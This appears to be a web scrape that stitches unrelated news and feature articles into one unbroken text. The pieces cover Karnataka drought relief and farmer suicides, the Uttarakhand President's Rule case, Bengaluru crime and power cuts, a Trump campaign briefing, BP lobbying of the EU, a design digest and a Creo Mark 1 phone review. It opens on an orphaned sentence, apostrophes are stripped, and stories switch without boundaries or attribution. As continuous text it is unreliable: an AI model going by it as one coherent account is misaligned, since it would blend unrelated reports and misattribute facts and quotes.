The ED has declined pleas by Mallyas lawyers seeking more time for him to return from the UK and appear before the agency.






The state government will seek a special package for drought relief from the Centre in the coming days, Law Minister T B Jayachandra said on Friday

.



Jayachandra told reporters in Bengaluru that the memorandum to be submitted to the Centre will be prepared after the four Cabinet sub-committees constituted to study the drought situation in each of the revenue divisions submit their reports.



He said Chief Minister Siddaramaiah had set a deadline of April 29 for the committees to submit their reports. The state, especially the districts of north Karnataka, are reeling under the worst drought in the last four decades.



Siddaramaiah, who will be in New Delhi on Sunday to attend a joint conference of chief justices of the high courts and chief ministers, will also informally meet Union ministers and apprise them of the drought scene in the state, Jayachandra said.



The state has pooled in Rs 2,079 crore, including Rs 1,570 crore provided by the Centre, for drought relief work, the minister said. Task forces (at the taluk level) have been constituted to monitor supply of drinking water in drought-hit regions of the state.



Siddaramaiah, who had a review meeting with senior officials at his home office Krishna, said he had issued directions to the officials on the measures to be taken in the affected places.



The chief minister denied he had stated that there was no drought in the state. I never said there is no drought. But I had stated that drought in Karnataka is not as severe as it is in Maharashtra. Yeddyurappa (BJP state president) has misinterpreted my statement, he said.

Asked about the death of Chikkaballapur farmer Anand Kumar, he said he had directed Chief Secretary Arvind Jadhav to take appropriate action after obtaining a report from the deputy commissioner.


A farmer who had attempted suicide by consuming poison in the presence of deputy commissioner in Chikkaballapur on Wednesday, died at Victoria Hospital in Bengaluru in the early hours of Friday.





Anand Kumar had made the attempt on his life after revenue authorities attempted to auction the cashew crop he had grown on his land on the ground that the land had not been allotted to the farmer. Farmers organisations had called for a Chikkaballapur bandh on Friday to condemn the death. The bandh was total and peaceful.



On the other hand, Krishna Nayaka (45), a farmer from Maruru village in Hunsur taluk of Mysuru district, committed suicide by consuming pesticide in front of a bank in Hunsur. He made the attempt on his life after his application for crop loan is said to have been rejected by the bank officials.



According to Hunsur police, Nayaka was inebriated when he consumed pesticide. The police said that the bank refused to extend loan to Nayaka since he had already availed Rs 4 lakh from the same financial institution.


The Supreme Court on Friday stayed the Uttarakhand High Court order reviving the Harish Rawat government. The court also directed the Union government not to revoke Presidents Rule till April 27.





Staying the high court order passed on Thursday, a bench of Justices Dipak Misra and Shiva Kirti Singh noted that the judgment, though dictated in open court, has not been made available.



In a strong comment against the high court, the apex court said: It (President's Rule) is quite serious and grave matter, you dont revoke Presidents Rule like this. How much deliberation took place? What kind of logic is behind it (judgment)?



Passing an interim order on a special leave petition filed by the Centre, the court directed the high court to make available copy of its judgment by April 26.



The bench said that on the next date of hearing, April 27, the court would decide whether a floor test should be held on April 29 in accordance with the high court order or the matter should be referred to the Constitution bench. It also issued notice to Rawat.



Allowing a petition by Rawat, a high court bench presided over by Chief Justice K M Joseph had on Thursday dictated the judgment but said the written judgment would be made available only next week.



Attorney General Mukul Rohatgi urged the apex court to stay to high courts order delivered on a petition filed by Rawat. He contended the idea is not to steal the march, the high court should have made the judgment available.



When you dont have a copy of the judgment, it should not be implemented, Rohatgi submitted.



Rohatgi contended that with the high court order, the chief minister has called a Cabinet meeting and took 11 decisions as per the news report, while the governor is also awaiting for the copy of the judgment.



The bench said, This is an unseemly situation. Higher constitutional functionaries should behave with higher responsibilities.



Senior advocate A M Singhvi, appearing for Rawat, submitted the chief minister had to take charge with the high courts order. He contended that the apex court may direct the high court to make available the copy of the judgment by Monday.



SC BENCH: There has to be a balance. We are slightly concerned. Article 356 is a serious matter for both sides. There are a few matters of propriety. If the high court had signed the judgment, we could have looked into it. For a party to take remedial action, a written order has to be there



Justice Shiva Kirti Singh: If I were the high court judge, I would have made my judgment operational only after three or four days when it is signed and ready. It is more on propriety than legality. Governance of a state cannot be left in the lurch


Bengaluru has to bear with frequent power cuts for a few more days though there is no shortage of electricity, thanks to technical glitches at the KPTCL.





Sources in the Energy Department said they were unable to bring the available power to the city due to technical transmission constraints at the Karnataka Power Transmission Corporation Limited (KPTCL), leading to rampant power cuts in Bengaluru.



Increased power consumption due to rising temperatures and a fault in the 220 KV underground cable line are said to be the prime reasons for the load shedding. A line carrying 180 MW was the main source of power to the heart of the city, including the central business district areas. This apart, there is a severe transmission infrastructure crunch to supply power to the city from north-south corridor.



The 220 KV underground cable line was damaged when a BWSSB pipeline below it broke open six months ago. It took a month to find the fault in the line for the KPTCL and then call experts from outside as it didnt have in-house expertise. Since it is a 1,000 sq mm cable, we had to call experts. In case of an overhead line, it is easy to find where the problem is and it can be fixed in a few hours, a top official in the KPTCL told DH.



The repair work at the HAL-EDC adjacent to Manipal Global is still going on and likely to be completed in about two weeks. A senior official, however, said it was difficult to set a timeframe. Another official said they were struggling to ensure power supply to Bengaluru by diverting 80 MW power from other smaller stations on the city outskirts. Still, there is a deficit of 100 MW which is the reason for constant load shedding, he said.



The rising mercury levels in the city has also added to the woes of both the Bescom and the KPTCL to stretch their resources to the maximum. Even at 1 am in the morning, the demand is up by 800 MW. There is no decline even in non-peak hours due to sultry summer, a senior official said.



How to avoid this problem



Strengthen existing single circuit 220KV lines to double circuit lines

Clear hurdles in North-South corridor to transmit power from North Karnataka

Add another 220 KV dedicated to Bluru city

Add more transformers to avoid overloading




A 28-year-old woman, who had locked herself in the storeroom of a chemical godown to escape from a major fire, was charred to death as the blaze spread all around.



Three men were injured too, but they fled before the fire tenders arrived. The incident occurred at Lakshmi Lac Pvt Ltd at Seegehalli gate, Tavarekere, West Bengaluru, around Thursday midnight. The fire is believed to have started around 11.30 pm after workers cleaned up the godown, dumped the waste in a mound outside and set it on fire. But chemical droplets spread all around. Within no time, the fire engulfed the entire godown.



The fire control room received a call around 11.45 pm. Eight fire tenders were rushed to the spot. But dousing the flames in a godown stacked with 60 barrels of chemical substances such as paint thinner, acid and toilet cleaner proved daunting for firemen.



As the fire started, Gayathri, who had started working at the godown just a fortnight ago, ran into a room that stored scrap materials and locked herself in.



It took more than six hours to douse the blaze as the chemicals were strong. Each time we doused the blaze, it started again. We had to use foam to put out the flames. But vapourisation triggered minor fire in several places in the godown, a senior fire officer, who was present on the spot, said.



Fire fighters then realised that a woman was stuck inside but they could not venture in as the flames were overbearing. It was only after 3 pm that our men could get in. They went to the ground floors but didnt find anyone. Then they found a room bolted from inside. They thrust it open and found burnt scrap materials. When they removed the materials, the woman was lying there, charred to death, the officer said.



The blaze also damaged water pipes of neighbouring houses. The incident has confounded the jurisdictional Tavare-kere police. The godown was run by two men named Khaniram and Kailash; both are absconding. The duo employed some people for filling acid, paint thinner and other chemical substances into bottles and supplying them to retail stores. But no barrel found in the godown had any label or any kind of description.



The police said they were investigating the kind of chemicals stored in the godown and whether the owners had obtained the licence to store the dangerous substances. Fire officials are carrying out their own investigation and will submit a report to their top brass.



Gayathri, a resident of Shanthi Lal Mutha Layout near Seegehalli gate, had worked in the housekeeping department of a wedding hall before joining the godown, the police said.


Two foreign nationals sustained minor burn wounds when they were trying to steal petrol from a bike at the basement of Louminium Hospitality apartment in Hennur Main Road in the early hours of Friday.



According to the police, the petrol spilled on the ground caught fire as one of them was smoking a cigarette. Around six bikes were gutted in the mishap.



The police have arrested Mustafa Mubarak, 22, a Bahrain citizen and a resident of Hennur Bande. He was pursuing a final year UG course in Pharmacy, and Wael Mansoor (22) of Sudan, a resident of Kanaka Nagar near RT Nagar who is pursuing second year Engineering. Both of them are students of Rajiv Gandhi College in Yelahanka.



On Thursday night, Mansoor had come to meet his friend Mubarak in Hennur. After they partied at his house, around 4.15 am, they went to the basement of Louminium apartment and were trying to steal petrol from a bike. As they were siphoning of the fuel from the bike tank into a bottle, a few drops fell on the ground. Sparks shot off the cigarette and fell on the drops of petrol triggering a fire. It spread at a rapid pace and five other bikes were also gutted. The duo, who suffered minor burn wounds, fled the spot, added the police.



A tyre of one of the bikes exploded waking up the occupants of the apartment, who came out and found smoke emanating from the basement. They found the bikes engulfed in flames. They managed to extinguish the fire. Later in the morning they checked the CCTV footage and found the entire act was recorded. They informed the police, who visited the spot, mentioned the police.



With the help of the locals we managed to trace Mubarak in Hennur and arrested him. Mubarak confessed to have committed the offence. Based on his information, we also arrested Mansoor. They told the police that they were stealing petrol as Mansoor's bike had ran out of fuel and he had to get back home. But they are giving various reasons, we will subject the duo to further interrogation. Also, the security guard of the apartment, who was not present at the time of the incident will be questioned, said a senior police officer.

A case has been registered in Hennur police station.


Lecturers from private unaided colleges staged a protest outside a few pre-university answer script evaluation centres on Friday condemning the Department of Pre-University Educations decision to decline their services after issuing orders asking them to report for evaluation duty a few days ago.





On Friday, a few lecturers staged a protest outside centres like KLE College where Kannada paper evaluation is going on and BES College where the Hindi paper evaluation is being done.



The PU department had issued orders to the private college lecturers with five years experience to report for evaluation duty. However, it told them to not report for duty anymore after the government PU lecturers stopped their protest and joined the evaluation process. An evaluation official said there was bound to be some resentment, especially after unaided lecturers chipped in when the government needed them the most during the PU lecturers stir at Freedom Park.
Two history-sheeters were murdered in separate incidents in Bengaluru. The victim was Rajan, 36, a real estate broker, who was stabbed to death by Sunil and his cousin Rajendra alias Kallu in Muniswamappa Layout near LR Bande in DJ Halli police station limits on Thursday night.





The police have arrested both the suspected assailants. Rajan had been living with his family in Nagawara, but around 10 years ago, he left home and was residing in Kothanur.



Also, there were a couple of cases against him at KG Halli police station. According to the police, on Thursday around 8 pm, Rajan went to Nisarga Bar in the same area to meet his childhood friend Emanuel and asked him to return Rs 50,000 he had borrowed. Both of them consumed alcohol and left the bar around 10.30 pm, as the bar was being shut. Rajan asked Emanuel for the money and they both started arguing.



They walked towards the parking lot of Balaji Tent house, a shop nearby, and started assaulting each other. Meanwhile, Sunil, who runs the parking lot, asked them to leave the place and not to fight there.



Rajan abused Sunil and asked him to mind his business. Sunil went and informed his cousin brother Rajendra alias Kallu, who came to the spot. The duo attacked Rajan and stabbed him repeatedly and fled.



The passersby heard Rajans screams and found him lying in a pool of blood. They shifted him to a nearby private hospital where he was declared brought dead. The police, who were informed, visited the spot and gathered information about the incident and arrested Sunil and Rajendra.



Hacked to death



In the second incident, a 42-year-old history-sheeter was hacked to death by rival gang members on Basaveshwaranagar Main Road on Friday evening.



According to the police, the deceased has been identified as Puttaraju, a history-sheeter with Kamakshipalya police station. He used to earn his living by renting out autorickshaws and lending money for interest.



Around 6.30 pm, he was riding his two-wheeler when he was stopped and assaulted by a few people, who are suspected to be his rivals, who later fled. Puttaraju was found lying in a pool of blood. The police shifted him to a hospital, but he was declared brought dead.



Bro was jailed, got bail



A few months ago, Puttarajus brother, Tommy, had murdered one Dileep in Kempegowda Layout. He was sent to jail, but had come out on bail. It is suspected that Dileep's associates might have murdered Puttaraju.



The police are on the look out for the assailants. A case has been registered at the Basaveshwaranagar police station.


Tree plantation and workshops on saving the planet marked the World Earth Day in Bengaluru on Friday.



In Haralur, Hennur and other places, citizens planted saplings of different trees while a composting activity was held at the Bangalore Scottish School in JP Nagar where students were given demonstration on converting wet waste into compost.



Environmentalist Vijay Nishant visited MEG Centre in Ulsoor to check the status of trees that were in bad shape and treat them, going with the theme of World Earth Day, Plant a tree, save a sin from Thee.



He said: Two trees here are suffering from fungal infection. Since its summer, termites start attacking the bark of trees and weakening them.



On Saturday, the nonprofit Save Kodagu, with the support of Kodava Samaj, Lions Club Kodigehalli, Coral Waters and Rescue Roadside Vehicle Assistance, will hold a bike rally from Bengaluru to Madikeri to spread the message of conserving the environment and saving Kodagu from deforestation.



The nonprofit expects more than 200 people to take part in the rally, after which a memorandum will be submitted to the Kodagu deputy commissioner to save the forest from developmental projects.



Concern expressed



The NGO expressed concern over chopping of one lakh trees to make way for high-tension wire in Kodagu. In other programmes, the Green Path Organic Store held a Bhoomi Habba and the Geological Society of India and the Ministry of Earth Sciences held a panel discussion on Trees for the earth, in which environmentalist Yellappa Reddy and other dignitaries took part.


The sixth season of Game of Thrones, HBOs wildly popular adaptation of George R.R. Martins fantasy novel series, will return to HBO on Sunday. In its honor, we take a look at six Colorado locales that most closely resemble parts of its savage world of Westeros.

Denver  Kings Landing

Like its counterpart in Westeros , Colorados capital is its political epicenter and home to its respective head of state. Like Denver, Kings Landing is the biggest city in the realm, although our version is about 150,000 stronger than Kings Landings population of 500,000. (How many of the Red Keeps census workers disappeared gathering that data is anyones guess.) Analogs abound from city to city, although the royal apartments are definitely in LoDo. Knowing John Hickenlooper , the Iron Throne might just be one of the stools at Wynkoop Brewing Company. As in Denver, there are pot shops in Kings Landing, too, although those of that citys derelict Flea Bottom neighborhood serve bowls of brown  cheap stew with dubiously sourced meat  instead of green.

The Rocky Mountains  The Wall

For so many Denver transplants, the land beyond the perilous stretch of snow-capped Rocky Mountains may as well be another realm. Where as the man-made Wall in Westeros is 700 feet tall and 30 miles long, the Rockies span 3,000 miles and are thousands of feet tall from base to peak. There may not be an army of zombie-like White Walkers lying in wait over the crags in Colorado, but between the harsh terrain and heat-snuffing cold, this borderland should still instill a healthy fear in those ill-suited to its challenges.

Boulder  The Reach

Westeros The Reach is a wealthy and bountiful land noted for its fine wines, romantic peoples and love of knight life (yes, with a K). From Mountain Sun to Avery Brewing Co. to Boulder Beer Company, Boulders quaff is beer, which is as plentiful as the sun that bathes the similarly idyllic town year-round. Thanks to the University of Colorado, love is always in the air (even if that air is admixed with the smell of Jagerbombs and pizza cheese). And look no further than the Live Action Role Players  LARPers for short  in the park, who bring Dungeons and Dragons to life with foam swords and shields, for a sense of how seriously some Boulderites take the art of knighthood. En garde, dearest Jamie. But no using your right hand  I totally hit you there last round.

Estes Park  Winterfell

Deep in the northern hinterlands of Westeros lies the stronghold of Winterfell, an outpost near The Wall that houses some of the realms hardiest souls. As in its Westeros analog, snowstorms loom heavy overhead many months of the year in Estes Park. Harsh conditions keep intruders out most of the year, but as it goes in the series, Estes Park eventually falls: Fair weather brings marauding tourists by the Jeepful, who marvel from a distance (and tremble up close) at the areas commonplace beasts  here, elk instead of dire wolves. But come winter  and winter is coming, theyll have you know  the towns cold-born inhabitants prevail.

Durango  Vaes Dothrak

Like the warrior village of Vaes Dothrak, Durango sits deep in the grasslands of Essos, which well equate to southwest Colorado. Like the Dothraki capital, Durango is essentially a frontier settlement, where the sight of a rider on horseback is welcome and not at all unusual. Where the mighty Dothraki live in the shadow of nearby peak Mother of Mountains, Durango is surrounded by the San Juan Mountains. Their cultures arent all that similar, though: Durangoans are more likely to while away a Sunday afternoon by taking a few runs down nearby Purgatory ski resort than a sword fight to the death. But to each their own.

Telluride  The Vale

Tucked at the foot of a treacherous mountain range, the town of Telluride is a dead ringer for the pitfall-laden land that is the Vale. If you know the right people, both destinations are worth the long and difficult (if not sometimes impossible) slog. The most striking structure in The Vale is The Eyrie, an extravagant castle owned by the residing House Arryn thats built high and away from the roving mountain clans below. Its most similar to Oprahs new $14 million home in Telluride, although with at least one distinction: To our knowledge, Oprahs abode doesnt boast The Eyries infamous Moon Door  an exit that ushers unwelcome guests down a 600-foot drop into the valley below. But it does come equipped with a mountain-bound funicular and a wine mine. So, you know, close enough.

Dylan Owens: dowens@denverpost.com
Elbert County authorities say a 24-year-old Alabama man was pulled over last week and found to have pounds of marijuana in his trunk that he was planning to drive back home.

Matthew Williams, of Killen, Ala., was stopped April 12 for speeding in an unincorporated part of the county when he admitted to having a small amount of marijuana concentrate, the county sheriffs office said.

A sheriffs office K-9 drug dog responded to the stop and alerted investigators that there was more pot in the vehicles trunk, authorities say.

Deputies searched Williams trunk, according to investigators, and found more than 14 pounds of marijuana and marijuana concentrate.

Williams admitted that he was on his way back to Alabama, the sheriffs office said in a news release.

He was arrested on suspicion of marijuana possession with intent to distribute.

Local and federal authorities in Colorado say they are seeing an uptick in marijuana leaving the state, especially pot thats grown in homes inhabited by people from out of state.

Jesse Paul: 303-954-1733, jpaul@denverpost.com or @JesseAPaul
HOLLYWOOD, fla.  Donald Trumps chief lieutenants told skeptical Republican leaders Thursday that the GOP front-runner has been projecting an image so far in the 2016 primary season and the part that hes been playing is now evolving in a way that will improve his standing among general election voters.

The message, delivered behind closed doors in a private briefing, is part of the campaigns intensifying effort to convince party leaders Trump will moderate his tone in the coming months to help deliver big electoral gains this fall, despite his contentious ways.

Even as his team pressed Trumps case, he raised fresh concern among some conservatives by speaking against North Carolinas bathroom law, which directs transgender people to use the bathroom that matches the sex on their birth certificates. Trump also came out against the federal governments plan to replace President Andrew Jackson with the civil-rights figure Harriet Tubman on the $20 bill.

The developments came as the GOPs messy fight for the White House spilled into a seaside resort in south Florida. While candidates in both parties fanned out across the country before important primary contests in the Northeast, Hollywoods Diplomat Resort & Spa was transformed into a palm-treed political battleground.

Trumps newly hired senior aide, Paul Manafort, made the case to Republican National Committee members that Trump has two personalities: one in private and one onstage.

When hes out on the stage, when hes talking about the kinds of things hes talking about on the stump, hes projecting an image thats for that purpose, Manafort said in a private briefing.

The Associated Press obtained a recording of the closed-door exchange.

He gets it, Manafort said of Trumps need to moderate his personality. The part that hes been playing is evolving into the part that now youve been expecting, but he wasnt ready for, because he had first to complete the first phase. The negatives will come down. The image is going to change.

The message was welcomed by some party officials but criticized by others who suggested it raised doubts about his authenticity.

Hes trying to moderate. Hes getting better, said Ben Carson, a former Republican presidential hopeful and current Trump ally who was part of the GOPs front-runners RNC outreach team.

While Trumps top advisers were promising Republican leaders that Trump would moderate his message, the candidate was telling voters he wasnt ready to act presidential.

I just dont know if I want to do it yet, Trump said Thursday during a raucous rally in Harrisburg, Pa., that was frequently interrupted by protesters.

At some point, Im going to be so presidential that you people will be so bored, he said, predicting that the size of his crowds would dwindle if he dialed back his rhetoric.

There was evidence of drama on the Democratic side as well.

Prominent Southern Democrats urged Bernie Sanders to stop dismissing Hillary Clintons landslide primary wins across the South, where the front-runners popularity among non-whites has helped fuel her success.

Sanders said the results in the South distort reality.

Don Fowler of South Carolina, a former chairman of the Democratic National Committee, and other Clinton supporters told Sanders in a letter that our national Democratic leaders (should) invest in our races and causes  to amplify our voices, not diminish them.

Yet as Clintons grasp on the Democratic nomination tightens, Trumps overwhelming Republican delegate lead has done little to calm concerns from GOP leaders, gathered at the resort for the partys meeting.

As Trump continues to rail against a rigged nomination process, he sent Manafort and his newly hired political director, Rick Wiley, to help improve relationships with party officials at the meeting.

He might not win some of these blue states, but you can make the Democrats spend money and time, Wiley said.

Trumps team also signaled a fresh willingness to dip into the New York real estate moguls personal fortune to fund his presidential bid.

The political posturing came as Trump sparked new criticism by addressing the debate over which bathrooms transgender people should use.

Speaking at a town-hall event on NBCs Today show Thursday, Trump said North Carolinas bathroom law has caused unnecessary strife and transgender people should be able to choose which bathroom to use.

There have been very few complaints the way it is, Trump said. People go, they use the bathroom that they feel is appropriate.

Cruz lashed out at Trumps support of grown men using womens restrooms. The Texas senator called Trumps position a reckless policy that will endanger our loved ones.

Trump also said the decision to swap Jackson for Tubman on the $20 bill is an act of pure political correctness.
Authorities have identified the 44-year-old man slain in an Idaho Springs shooting earlier this month that remains under investigation.

Eric Spencer was killed April 10 at an apartment building on the 300 block of Idaho Street where emergency responders found him in critical condition. He died the next day at a hospital.

Bruce Brown, 5th Judicial District Attorney, said Thursday that investigators believe they know who killed Spencer but have yet to file charges against that man.

We know enough to know who it was who fired the bullet, Brown said.

The suspect was arrested just after Spencer was shot in the head but later released, Brown said. Investigators have recovered a gun as part of their investigation.

Spencers obituary in The Clear Creek Courant says he was a father who loved skydiving.

He had a great heart, and he will be sorely missed by many, the obituary said.

Investigators have not released a motive.

Jesse Paul: 303-954-1733, jpaul@denverpost.com or @JesseAPaul
By Arthur Neslen

20 April 2016 (The Guardian)  The EU abandoned or weakened key proposals for new environmental protections after receiving a letter from a top BP executive which warned of an exodus of the oil industry from Europe if the proposals went ahead. In the 10-page letter, the company predicted in 2013 that a mass industry flight would result if laws to regulate tar sands, cut power plant pollution and accelerate the uptake of renewable energy were passed, because of the extra costs and red tape they allegedly entailed. The measures threaten to drive energy-intensive industries, such as refining and petrochemicals, to relocate outside the EU with a correspondingly detrimental impact on security of supply, jobs [and] growth, said the letter, which was obtained by the Guardian under access to documents laws. The missive to the EUs energy commissioner, Gunther Oettinger, was dated 9 August 2013, partly hand-written, and signed by a senior BP representative whose name has been redacted. It references a series of interactions between the two men  and between BP and an unnamed third party in Washington DC  and welcomes opportunities to further discuss energy issues in an informal manner. BPs warning of a fossil fuel pull-out from Europe was repeated three times in the letter, most stridently over plans to mandate new pollution cuts and clean technologies, under the industrial emissions directive. This reform has the potential to have a massively adverse economic impact on the costs and competitiveness of European refining and petrochemical industries, and trigger a further exodus outside the EU, the letter said. The plant regulations eventually advanced by the commission would leave Europe under a weaker pollution regime than Chinas, according to research by Greenpeace. BP said any clampdown would cost industry many billions of euros and so pollution curbs should also be carefully accessed with close co-operation with the industrial sectors. Last year the EUs environment department moved to limit the coal lobbys influence on pollution standards, after revelations by the Guardian and Greenpeace about the scale of industry involvement. The commission had previously allowed hundreds of energy industry lobbyists to aggressively push for weaker pollution limits as part of the official negotiating teams of EU member states. The Green MEP Molly Scott Cato said that the UKs robust advocacy of BPs positions was a cause of deep shame, and illustrated how Brexit would increase the power of fossil fuel firms. She said: It reveals how the arm-twisting tactics of big oil seek to undermine the EUs progressive energy and climate policies. BPs covert lobbying, combined with threats of an exodus of the petrochemicals industry from the EU, are nothing short of blackmail. [more]
designboom weekly

architecture this week, prague-based architectural studio OV-A revealed its design for the new headquarters of glassmaking company LASVIT . located on palackeho square in the northern czech town of novy bor, the project seeks to regenerate the regions glassblowing traditions, while restoring some of the towns historic buildings. in addition, the masterplan sees the addition of a striking new building clad with glass tiles inspired by the surrounding slate roofs. meanwhile, as a reaction to the growing risks of climate change and the challenges faced by increasing urbanization, grimshaw and dutch manufacturing specialists concrete valley have developed an innovative design for a system of modular water dwellings. the habitats are imagined as a potential solution to high land values by offering affordable accommodation beyond the constraints of land-based construction, and resilient to the looming threat of flooding from rising sea-levels.

design from now through march 8, 2020, 21_21 design sight is hosting the exhibition secret source of inspiration: designers hidden sketches and mockups. the display comprises sketches, drawings and mockups by current members of the JAPAN DESIGN COMMITTEE  comprising prominent designers, architects and critics. the exhibition exhibits the mockups and sketches of the members, each varying according to the persons field, generation, and personal preference. together, the array offers fascinating and otherwise unseen glimpses into designers thinking and working process. meanwhile, designboom readers investigate...did the simpsons predict every pantone color of the year from 2010 to 2020?

art in art news, australias heide museum of modern art presents artists wona bae and charlie lawler of loose leaf studio with their spatial work entitled en route. marking their first public museum presentation, these large-scale installations, comprised of lush gatherings of leaves , create an experiential journey within the iconic modernist building heide II and encourages viewers to consider what the relationship between human activity and the environment might hold. in other news, from now through march 15, 2020 at yorkshire sculpture park (YSP), british artist saad qureshi explores the meaning of paradise in a contemporary context through his first solo museum exhibition. something about paradise infills the nave of YSPs 18th-century chapel with three monumental forms that rise from the floor. these sculptural assemblages comprise a spread of surreal landscapes, architectural ideations and mysterious structures. upon closer inspection, an eclectic mix of architectural styles are revealed among forest, desert and fantastical geological environments.

readers vietnamese design firm NH VILLAGE ARCHITECTS sets sail its latest project, nambinh ship, along the waters of the huong river, also known as the perfume river, in the hue city of central vietnam. designed to provide a cultural experience for tourists, the nambinh ship comprises two outdoor terraces on each end of the boat and a dining area in the middle. the shape of the boat takes form of a leaf and is intended to blend in with the surrounding landscape, creating parallels with the natural elements of the world heritage site. in other news from our readers, bangkok-based firm PHTAA living design merged traditional thai craftsmanship with new age construction to create the rattan pavilion. historically, architects have often designed furniture to complement their buildings, but what if instead the architecture took its cues from the furniture inside? built for the impact challenger asa 2019 in bangkok, thailand, the architects fabricated a temporary pavilion informed by the age-old rattan weave.
Diljit Dosanjh's Interview With Anupama Chopra Proves That He's The Best!
The two Apple services have been barred, following stricter anti-American stance by China President Xi Jingping.

According to a report by the New York Times, the Chinese State Administration of Press, Publication, Film, and Television has shut down Apple's iBooks and iTunes Movies services in the country. Users in China have not been alble to access both iBooks and iTunes Movies since last week.

Apple had been granted permission to start these services in China earlier, but with the press administration stepping in, these services have now been barred. Confirming the shut down, Apple said, "We hope to make books and movies available again to our customers in China as soon as possible."

Apple iBooks allows users to download and read select book titles across Apple devices, while iTunes Movies allows them to pay and view select movie titles across genres & languages.

The NYT report goes on to describe a recent meeting on China's Internet policies held between China President Xi Jingping and leaders of Chinese tech companies including Alibabas Jack Ma and Huaweis Ren Zhengfei. Reports about the meeting suggest that Xi wants decreased influence of American companies like Apple in the country, and wants to promote homegrown companies instead.

Source: NYT, 9to5 Mac
The Creo Mark 1 is 50% weaker than the Xiaomi Redmi Note 3, and about 30% weaker than the LeEco Le 1s. It's a good looking smartphone, but it's not very well built. With so many other, better phones in the market, there's literally no reason to spend Rs. 19,999 for a QHD display and regular UI updates.

Creo Mark 1 detailed review

A Helio X10, QHD display and 3GB of RAM, at merely Rs. 19,999. We often say that specs don't matter, but the truth is that when it comes to Android, they do, to a certain extent. It's not just about power - the correct match is important, and one has to optimise it. The Creo Mark 1 offers these specs, along with a promise of regular OS updates. Not Android OS, but Creo's own FuelOS. It's basically what Xiaomi does for MiUI, except that Creo is promising you "a new phone every month".





It could work, but there are some fundamental problems with the Creo Mark 1. I'll get to the software, but let's start with the issues with the hardware.

Performance: Perhaps the weakest phone in the market

While the QHD display on the Creo Mark 1 looks quite good, it takes a toll on the MediaTek Helio X10 SoC, just like it did on the M9 Plus. The Creo Mark 1 is riddled with lags in every step. It took me a full minute and six seconds to get to the main menu of Injustice: Gods Among Us.

On benchmarks, testing performance for Open GL 3.1-based graphics, the Mark 1 could churn out only 75 frames in total. Phones within the 7k price range can do better, and as the video below shows, our top sub-20k performer, the Redmi Note 3, is 50% faster than the Creo Mark 1. The LeEco Le 1s, with the same Helio X10 SoC, is about 30% faster.

Injustice, which takes a higher toll on resources, is based on Unreal Engine 3. However, in Marvel: Contest of Champions, which runs on the Unity engine, the lags are lesser, but still pronounced. The phone even drops frames on Temple Run 2, another game on the Unity engine. Many smartphone games today are made on Unity and Unreal engines.

Such performance, at Rs. 19,999, just does not make the cut in this day and age. What will I do with regular OS updates when my phone keeps lagging all the time?

Fuel OS: Chinks in the armour

But, Creo is all about the software after all, and the company's first product (under the Mango Man moniker) was quite appreciable. For the uninitiated, you can learn about the Teewe here.

Moving on, Fuel OS in essence poses as a CyanogenMod replacement for non-modders. As users, you're simply expected to make suggestions and Creo says it'll incorporate user feedback into its OS.

It's not an original idea, but it doesn't need to be so, to be a good one. Xiaomi promised weekly updates at one time, while Cyanogen was known for its nightlies. For Creo, it's monthlies.

Fuel OS looks like stock Android in many ways. It has an app drawer, and more or less everything looks like Android. All that Creo has added, are three apps/features, including Sense, Retriever and Echo. A question that comes to mind is, why just three? Can't a software-focussed firm do more?



Fuel OS (L-R) Lock Screen, Home Screen, Refuel App

Sense is basically Apple's Spotlight search, and has been incorporated earlier by other OEMs like Vivo as well. In addition, if you use Google Now regularly, you really don't need it. If you're on the home screens, you can swipe down to bring up Sense. From within apps, just tap the home button twice. Prepare for long lags though, especially when you call Sense from within games. Also, if you want to search within your emails, you'll need to use Creo's inbuilt email app.

The Echo feature allows you to create your own answering machine, irrespective of what service provider youre on. Its a neat feature thats integrated directly into the OS. Creo has added an extra tab to your dialler, where all the Echo messages show up, and you can even customise the message that a caller gets.



Fuel OS (L-R) Echo Screen in Dialler, Retriever App, Quick Settings

These are accompanied by the Retriever, perhaps the only real functional app in Fuel OS. This allows your phone to relay its location, even when a new SIM card has been placed into it and the phone has been flashed. When a different SIM is inserted, the Creo Mark 1 sends you an email, telling you the location where the SIM was inserted, and giving you a part of the number. Creos customer care confirmed that after filing an FIR with the police, you can email the company a copy of the FIR to get the entire number. You can then send an SMS to this number, with your preset PIN, and the phone flashes an alert, asking the user to call you. To remotely delete your phone, you just have to use Android Device Manager, like any other Android phone.

The question worth asking is, do phone thieves really use your phone after stealing them? Dont most of them just sell parts? Also, how much data is Creo storing on the phone to enable this feature. Is it worth it? The answer, of course, will depend on the user.

These three additions mentioned above sum up all that Fuel OS has to offer. There are some gestures to control music, or turn on the camera etc, similar to OnePlus' OxygenOS and there are no performance enhancements that Creo has talked about. Given the lags, its quite evident that the software isnt optimised, either. The Google Search bar on my device disappeared on multiple occasions, a common bug seen on OnePlus devices as well. In fact, a UI/OS that is updated too often does elicit bugs, and Im not convinced if Creo can avoid them.

Which brings me to the biggest issue with Fuel OS  the fact that it runs on Android 5.1.1. It is important to note that Creo is promising you UI updates, not OS updates. Why couldnt the phone run on Marshmallow out-of-the-box? While the world looks forward to Android N, youre basically buying a device with two-generation-old software. How and where will I get all the security patches that Google adds?

Its a problem that Xiaomi also hasnt been able to address effectively. That said, MiUI had features that Marshmallow added, from KitKat days. Creo, on the other hand, has played it safe, with a stock UI. While this reduces the learning curve, I think a phone that wants to sell on its UI should have a steeper learning curve. In MiUI and Cyanogen, users have always enjoyed the learning curve. OnePlus Oxygen OS brings down quick settings or notifications, based on which half of the screen you swipe down from. Its irritating at first, but once you get used to it, you want it.

This again shows that Creo is looking to address regular consumers, who dont mod their phones and don't want the learning curve, and that is completely fine. But, the Creo Mark 1 needs to look original with its UI, instead of being stock or borrowing from others. It needs to make the user feel involved with the UI, for him or her to suggest additions.

Its UI updates after all. It may have slightly deeper integration than most, but so is HTCs Blinkfeed on Sense UI, Samsungs partnership with Flipboard on Touchwiz, and everything that MiUI has. There is just no way to look at this as an original idea that inspires confidence in the first-time user. And it's not inexpensive. Teewe had much more going for it.

Camera: Trumped

All of the above, though, could have been overlooked with a simple addition - a top-of-the-line camera. Alas, it failed, again. The 21MP Sony IMX230 sensor was used by Motorola for the Moto X Play, and while that phone costs about the same, its far better, as is the OnePlus X with its Samsung ISOCELL sensor.

The Creo Mark 1 takes too much time to focus irrespective of light conditions, and it can take satisfactory shots only under bright sunlight. To be clear, the camera may look okay to many, but given that you have phones like the Moto X Play, OnePlus X, and even the much older ZTE Nubia Z9 Mini in the vicinity, the Mark 1 is far behind.



